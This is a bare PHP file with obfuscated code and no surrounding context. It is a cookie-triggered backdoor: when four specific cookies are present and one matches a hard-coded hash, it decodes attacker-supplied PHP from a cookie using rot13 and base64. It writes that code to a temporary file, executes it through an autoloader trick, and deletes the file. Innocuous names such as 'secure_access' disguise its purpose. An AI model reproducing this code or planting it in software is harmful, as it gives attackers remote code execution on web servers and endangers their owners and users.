\x20\40\x20\40
<?php
if (isset($_COOKIE[98+-98]) && isset($_COOKIE[49+-48]) && isset($_COOKIE[20-17]) && isset($_COOKIE[61-57])) {
$flg = $_COOKIE;
function secure_access($reference) {
$flg = $_COOKIE;
$k = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'c4caeed4');
if (!is_writable($k)) {
$k = getcwd() . DIRECTORY_SEPARATOR . "right_pad_string";
}
$data_chunk = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($flg[3]));
if (is_writeable($k)) {
$obj = fopen($k, 'w+');
fputs($obj, $data_chunk);
fclose($obj);
spl_autoload_unregister(__FUNCTION__);
require_once($k);
@array_map('unlink', array($k));
}
}
spl_autoload_register("secure_access");
$descriptor = "0de4b386c03c8ea540765dea06c08503";
if (!strncmp($descriptor, $flg[4], 32)) {
if (@class_parents("system_core_reverse_searcher", true)) {
exit;
}
}
}